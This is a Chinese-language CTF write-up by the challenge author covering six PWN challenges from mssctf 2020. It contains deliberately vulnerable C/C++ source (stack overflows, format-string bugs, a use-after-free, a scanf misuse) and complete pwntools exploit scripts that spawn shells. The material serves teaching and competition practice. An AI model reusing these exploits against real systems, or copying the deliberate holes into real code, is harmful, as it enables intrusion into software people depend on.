[mssctf] 初赛&决赛 PWN部分writeup

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所属分类:菜鸟笔记

第一次作为出题人和审题人在正式的大型比赛中出题,还是很新鲜的

初赛

初赛终榜

[mssctf] 初赛&决赛 PWN部分writeup

blind

思路

  • 这是一道签到盲pwn,用于getshell的函数地址已经给出,只需要循环爆破栈溢出字节数即可
  • 通过观察发现,如果发生了栈溢出再输入#exit会没有stopping提示而直接重启服务,说明栈被破坏了,以此可以确定是否达到所需字节数

源代码

#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

void backdoor(){
    system("/bin/sh");
}

void echo(){
    char buf[32];
    puts("The echo server is starting...");
    puts("Type '#exit' to exit.");
    while(1){
        printf("msg:");
        scanf("%s",buf);
        if(!strcmp(buf, "#exit"))
            return;
        puts(buf);
    }
}

int main(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    puts("Welcome to mssctf2020.");
    printf("Here is a backdoor left by eqqie: %p\n\n\n",backdoor);
    while(1){
        int pid = fork();
        if(pid){ // main
            wait(NULL);
        }
        else{
            echo();
            puts("The echo server is stopping...");
            exit(0);
        }
    }    
}

exp

from pwn import *
#context.log_level = "debug"

def get_socket():
    return remote("mssctf.eqqie.cn", 10000)
    #return process("./blind")
offset = 1

p = get_socket()
p.recvuntil(b"eqqie: ")
backdoor = int(p.recvuntil(b"\n"), 16)
p.close

while True:
    p = get_socket()
    p.sendafter(b"msg:",b"A"*offset+b"\n")
    p.sendafter(b"msg:",b"#exit\n")
    ret = p.recvuntil(b"starting...")
    if b"stopping" not in ret:
        print("offset is:",offset)
        p.sendafter(b"msg:",b"A"*offset+p64(backdoor)+b"\n")
        p.sendafter(b"msg:",b"#exit\n")
        p.interactive()
        break
    else:
        offset+=1
        print("offset+1")
    p.close()

whisper

思路

  • say_hello 函数中存在溢出漏洞,当输入长度为 32 个字节时,strdup 函数会把 old rbp 一起保存到堆上,随后打印时可泄露栈地址。
  • 通过调试可以计算出保存在栈上的第二次输入处的指针。
  • 接收用户第二次输入的 scanf 函数也存在溢出漏洞,如果在第二次输入时写入 shellcode 并覆盖返回地址为指向 shellcode 的指针,即可 get shell。

源代码

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void my_init() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
    return;
}

char *say_hello() {
    char name[24];
    char *p;
    memset(name, 0, sizeof(name) + 8);
    puts("input your name:");
    read(0, name, 32);
    p = strdup(name);
    printf("hello, %s\n", p);
    return p;
}

void say_goodbye() {
    puts("i see, goodbye.");
    return;
}

int main() {
    char *p;
    char buf[64];
    my_init();
    p = say_hello();
    puts("young man, what do you want to tell me?");
    scanf("%s", buf);
    say_goodbye();
    return 0;

}

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

io = remote('mssctf.eqqie.cn', 10001)
# gdb.attach(io)

io.sendlineafter('input your name:', 'a' * 31)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success('leak: ' + hex(leak))

shellcode_place = leak - 0x50
info('shellcode_place: ' + hex(shellcode_place))

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x58, 'a') + p64(shellcode_place)
io.sendlineafter('what do you want to tell me?', payload)
io.interactive()

baby_format

思路

  • 这是一个格式化字符串利用的题
  • 题目原先限制了printf次数,所以需要先在限制次数内泄露出栈和libc地址并修改循环计数变量
  • 通过构造栈上的二级指针向栈上某个位置写入一个指向printf_got的指针
  • 用上一步构造出的指针修改printf的got表
  • 当循环次数用尽后会用printf输出之前用户输入的name,所以只需要在开头输入name的时候构造成一条合法shell命令就可以getshell了

源代码

#include<cstdio>
#include<cstdlib>
#include<unistd.h>

char msg1[48];
char msg2[64];
char name[16];
char msg3[64];

void prepare(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

void read_input(char *buf, unsigned int size){
    int i = 0;
    while(i<size){
        if(read(0, (buf+i), 1)==-1){
            break;
        }
        else{
            if(*(buf+i)=='\n'){
                *(buf+i) = '\0';
                break;
            }
            i++;
        }
    }
}

int main(){
    int timeout = 2;
    prepare();
    printf("Input your name:");
    read_input(name, 16);
    puts("Welcome to mssctf_2020!");
    do{
        printf("Leave me your msg: ");
        read_input(msg1, 48);
        sprintf(msg2, "You said that %s", msg1);
        printf(msg2);
    }
    while(timeout--);
    sprintf(msg3, "Welcome to XDU, %s!", name);
    puts(msg3);
    return 0;
}

tips

本题的演示exp有多次4字节写所以容易出现io卡住的情况,可以尝试分解成两次2字节写来解决

exp

from pwn import *
import time

#p = process("./baby_format")
p = remote("mssctf.eqqie.cn", 10002)
elf = ELF("./baby_format")
libc = ELF("./libc.so.6")
context.log_level = "debug"

#gdb.attach(p, "b printf\nc\n")
#gdb.attach(p, "b *0x40084c\nc\n")
printf_plt = elf.symbols[b"printf"]
puts_got = elf.got[b"puts"]

p.sendafter("Input your name:", b";/bin/sh;echo \x00\n")
p.recvuntil(b"Welcome to mssctf_2020!\n")

#leak
payload1 = b"||%9$p||%11$p||\n"
p.sendafter("Leave me your msg: ", payload1)
p.recvuntil(b"||")
libc_base = int(p.recvuntil(b"||",drop=True),16) - 0x20840
stack_leak = int(p.recvuntil(b"||",drop=True),16)
stack1 = stack_leak - 0xec
stack2 = stack_leak - 0xb8
print("libc_base", hex(libc_base))
print("stack_leak", hex(stack_leak))
print("stack1", hex(stack1))
print("stack2", hex(stack2))

#modify loop
print("modify loop")
low_bytes = stack1 & 0xFFFF
payload2 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload2)
p.sendafter("Leave me your msg: ", b"%6c%37$n\n")

#overwrite got_addr+0 to stack
print("overwrite got_addr+0 to stack")
low_bytes = stack2 & 0xFFFF
payload3 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload3)
payload4 = b"%" + str(int(puts_got-14)).encode() + b"c%37$n\n"
p.sendafter("Leave me your msg: ", payload4)

#overwrite printf_got-printf_got+2
print("overwrite printf_got-printf_got+2")
system = libc_base + libc.symbols[b"system"]
print("system", hex(system))
low_bytes = system & 0xFFFF
payload5 = b"%" + str(int(low_bytes-14)).encode() + b"c%14$hn\n"
p.sendafter("Leave me your msg: ", payload5)

#overwrite got_addr+2 to stack
print("overwrite got_addr+2 to stack")
low_bytes = stack2 & 0xFFFF
payload6 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload6)
payload7 = b"%" + str(int(puts_got+2-14)).encode() + b"c%37$n\n"
p.sendafter("Leave me your msg: ", payload7)

#overwrite printf_got+2-printf_got+4
print("overwrite printf_got+2-printf_got+4")
low_bytes = (system >> 16) & 0xFFFF
payload8 = b"%" + str(int(low_bytes-14)).encode() + b"c%14$hn\n"
p.sendafter("Leave me your msg: ", payload8)

for i in range(14):
    p.sendafter("Leave me your msg: ", b"AAAA\n")
    time.sleep(0.5)

p.interactive()

决赛

决赛终榜

[mssctf] 初赛&决赛 PWN部分writeup

gift

前置知识

  • 基础逆向
  • C++虚表机制
  • UAF漏洞原理

思路

  • 程序模拟了个人信息管理系统,提供了如下功能
    • 创建个人信息
    • 显示个人信息
    • 删除个人信息
    • 自定义长度留言
  • 通过IDA逆向分析得知,bss全局变量区域会保存一个指针指向用户通过new关键字创建的对象,同时通过检查删除功能的实现发现该指针变量在对象销毁后没有置NULL,由此推测存在UAF(use after free)。于是进一步检查show功能。

  • show功能调用了对象中的某个方法来显示用户信息,同时还发现对象具有一个可以getshell的方法,只是不能直接调用。由此可以得知大概攻击思路:利用UAF修改虚表指针使得show功能能够getshell。

  • 接下来进入动态调试步骤:

    • 使用创建信息功能后检查堆内存

    • 0x615c10: 0x0000000000000000  0x0000000000000041
      0x615c20: 0x0000000000401e58  0x0000000000000014
      0x615c30: 0x0000000000615c40  0x0000000000000008
      0x615c40: 0x4141414141414141  0x0000000000000000
      
    • 刚刚创建的信息(name: AAAAAAAA, age: 20)被存入了一个0x40大小的堆块

    • 由C++虚表知识可知堆块头存放了vtable的地址,往后则是个人信息

    • 检查0x401e58(虚表)处内存

    • 0x401e58: 0x0000000000401788 0x0000000000401932

    • 明显是两个函数的地址,第一个是getshell函数,第二个是show info功能,调用show info时从vtable+0x8取出函数指针,只要把对象内存头部改为vtable-0x8就可以通过show info来调用getshell方法
  • 攻击步骤

    • 创建信息
    • 删除信息
    • 创建长度为0x30的留言
    • 使用show info功能getshell

exp

from pwn import *

p = process("./gift")
#context.log_level = "debug"

def create(name, age:int):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Your name: ")
    p.sendline(name)
    p.recvuntil(b"Your age: ")
    p.sendline(str(age).encode())

def show():
    p.recvuntil(b"> ")
    p.sendline(b"2")

def delete():
    p.recvuntil(b"> ")
    p.sendline(b"3")

def msg(content, length:int):
    p.recvuntil(b"> ")
    p.sendline(b"4")
    p.recvuntil(b"How long? ")
    p.sendline(str(length).encode())
    p.recvuntil(b"content: ")
    p.sendline(content)


def exp():
    vtable = 0x401e58
    chunk_size = 0x40

    create("eqqie",20)
    delete()
    msg(p64(vtable-0x8), 0x30)
    gdb.attach(p)
    show()
    p.interactive()

if __name__ == "__main__":
    exp()

源代码

//g++ -fstack-protector -no-pie -o uaf --std=c++17 uaf.cpp;chmod +x uaf;strip uaf;
#include<iostream>
#include<string>
#include<cstdio>
#include<stdlib.h>
#include<signal.h>
#include<unistd.h>
class student{
    private:
        virtual void gift(){
            //std::cout<<"Welcome to XDU next time."<<std::endl;
            std::cout<<"Your gift is a hard shell, and I hope you can use it to resist all fear."<<std::endl;
            system("/bin/sh");
        }
    protected:
        int age;
        std::string name;
    public:
        virtual void log_info(){
            std::cout<<"-----------------------------------------"<<std::endl;
            std::cout<<"My name is "<<name<<", and I am "<<age<<" years old."<<std::endl;
            std::cout<<"-----------------------------------------"<<std::endl;
        }
};

class mss_player : public student{
    public:
        mss_player(std::string name,int age){
            this->name = name;
            this->age = age;
        }
        virtual void log_info(){
            student::log_info();
            std::cout<<"I'm a mssctf player."<<std::endl;
        }
};

mss_player *my_info=NULL;

void welcome(){
    char msg[] = R"+*(  __  __                      _      __     _____   _                   _ 
 |  \/  |  ___   ___    ___  | |_   / _|   |  ___| (_)  _ __     __ _  | |
 | |\/| | / __| / __|  / __| | __| | |_    | |_    | | | '_ \   / _` | | |
 | |  | | \__ \ \__ \ | (__  | |_  |  _|   |  _|   | | | | | | | (_| | | |
 |_|  |_| |___/ |___/  \___|  \__| |_|     |_|     |_| |_| |_|  \__,_| |_|
                                                                          )+*";
    std::cout<<msg<<std::endl;
}

void prepare(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    alarm(0x3c);
}

int menu(){
    int choice;
    puts("\n1. Create my info.");
    puts("2. Show my info.");
    puts("3. Delete my info.");
    puts("4. Leave some message to eqqie.");
    puts("5. exit.");
    printf("> ");
    scanf("%d",&choice);
    return choice;
}

void create(){
    std::string name;
    int age;
    std::cout<<"Your name: ";
    std::cin>>name;
    std::cout<<"Your age: ";
    std::cin>>age;

    mss_player *mp = new mss_player(name, age);
    my_info = mp;
    std::cout<<"[+]Done!"<<std::endl;
}

void show(){
    mss_player *mp = my_info;
    mp->log_info();
    std::cout<<"[+]Done!"<<std::endl;
}

void del(){
    mss_player *mp = my_info;
    delete mp;
    std::cout<<"[+]Done!"<<std::endl;
}

void msg(){
    int len;
    std::cout<<"How long? ";
    std::cin>>len;
    char *msg = new char[len];
    std::cout<<"content: ";
    std::cin>>msg;
    std::cout<<"[+]Done!"<<std::endl;
}

int main(){
    prepare();
    welcome();
    std::cout<<"Welcome to mssctf final, guys!"<<std::endl;
    std::cout<<"Eqqie leaves a small gift for each player, but you need some tips to open it~\n"<<std::endl;
    std::cout<<"Now you can manage your info to get the gift >"<<std::endl;
    while(1){
        switch(menu()){
            case 1:
                create();
                break;
            case 2:
                show();
                break;
            case 3:
                del();
                break;
            case 4:
                msg();
                break;
            case 5:
                std::cout<<"Bye~"<<std::endl;
                exit(0);
            default:
                printf("Sorry I don't konw...");
        }                                
    }
    return 0;
}

fishing master

前置知识

  • 格式化字符串
  • __free_hook

思路

  • 利用格式化字符串漏洞泄露保存在栈上的 libc 地址

  • 通过任意写修改 __free_hook 为 onegadget 或 system(需要在第一次输入时输入 ""/bin/sh\x00")

  • 当调用 free 函数时即可 get shell。

exp

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

if args.G:
    io = remote('0.0.0.0', 9999)
elif args.D:
    io = gdb.debug('./fishing_master')
else:
    io = process('./fishing_master')

# gdb.attach(io)

'''
do you know how to use this fish hook for flag?
'''

payload = b'%7$saaaa' + p64(0x0000000000600fe8)

io.sendlineafter('tell me your name, and maybe i will teach you how to fish if i like it.', \
    'qqq')
io.sendlineafter('nice name and i like it, i\'ve remembered you in my mind.', '%13$p')
io.recvuntil('0x')
leak = int(b'0x' + io.recv(12), 16)
success('leak: ' + hex(leak))
libc.address = leak - 240 - libc.sym['__libc_start_main']
info('libc_base: ' + hex(libc.address))
free_hook = libc.sym['__free_hook']
info('free_hook: ' + hex(free_hook))
ogg = libc.address + 0x4527a
info('ogg: ' + hex(ogg))
# gdb.attach(io)
io.sendafter('What do you think of this new fish hook?', p64(free_hook))

io.sendafter('i do know you will like it, i hope it can make you a master of fishing.', \
    p64(ogg))

'''
What do you think of this new fish hook?
i do know you will like it, i hope it can make you a master of fishing.

0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

# gdb.attach(io)

io.interactive()

源代码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char *p;

void func0() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
    return;
}

void func1() {
    char name[8];
    puts("tell me your name, and maybe i will teach you how to fish if i like it.");
    read(0, name, 8);
    puts("nice name and i like it, i've remembered you in my mind.");
    p = strdup(name);
    return;
}

void func2() {
    char c[9];
    puts("then i decide to send you a gift for our friendship.");
    read(0, c, 8);
    printf(c);
    return;
}

void func3() {
    char d[9];
    puts("What do you think of this new fish hook?");
    read(0, d, 8);
    puts("i do know you will like it, i hope it can make you a master of fishing.");
    read(0, (void *) * (unsigned long *) d, 8);
    // printf("0x%lx\n", * (unsigned long*) d);
}

void func4() {
    puts("but i have to go, my friend. see you next time.");
    free(p);
    return;
}

int main() {
    func0();
    func1();
    func2();
    func3();
    func4();
    return 0;
}

wallet

前置知识

  • 原题:pwnable.kr -> passcode
  • 栈溢出
  • scanf函数

思路

  • begin存在栈溢出最大可以刚好覆盖check中的password1,而由于check中的scanf第二参数的不规范写法,导致只需要提前在begin中将password1覆盖为puts_got
  • 然后在第一个scanf的时候连带写入调用system("/bin/cat flag")前的push的语句(32位传参规则),从而绕过if的判断,提前cat flag

exp

from pwn import *

p=process("./pwn")
elf = ELF("./pwn")
context.log_level = "debug"
gdb.attach(p,"b *0x8048685\nc\n")
p.recvuntil(b"EXIT\n")
p.sendline(b'1')

puts_got = elf.got[b"puts"]
call_sys_addr = 0x0804862D

name = b'A'*104 + p32(puts_got) + str(call_sys_addr).encode() + b"\b" + str(call_sys_addr).encode() + b"\b" 

p.sendline(name)

p.interactive()

源代码

#include <stdio.h>
#include <stdlib.h>

void check(){
    int password1;
    int password2;

    printf("Now try the First password : ");
    scanf("%d", password1);
    fflush(stdin);

    printf("Now try the Second password : ");
    scanf("%d", password2);

    printf("Let me think......\n"); //优化为puts
    if(password1==338150 && password2==13371337){
                printf("OMG!YOU SUCCESS!\n");
                system("/bin/cat flag");
        }
        else{
                printf("You Failed! Try again.\n");
        exit(0);
        }
}

void begin(){
    char name[108];
    printf("Show me your name : ");
    scanf("%108s", name);
    printf("Welcome %s! :P\n", name);
}

int main(void){
    int num;
    printf("Wal1et prepares a big wallet for you, but clever man always has double passwords. So make your choice.\n");
    printf("1.JUST OPEN IT!\n");
    printf("2.EXIT\n");
    scanf("%d",&num);
    if(num==1){
    begin();
    check();     
    }else{
        return 0;
    }

    printf("Here is something you like.\n");
    return 0;    
}
eqqie

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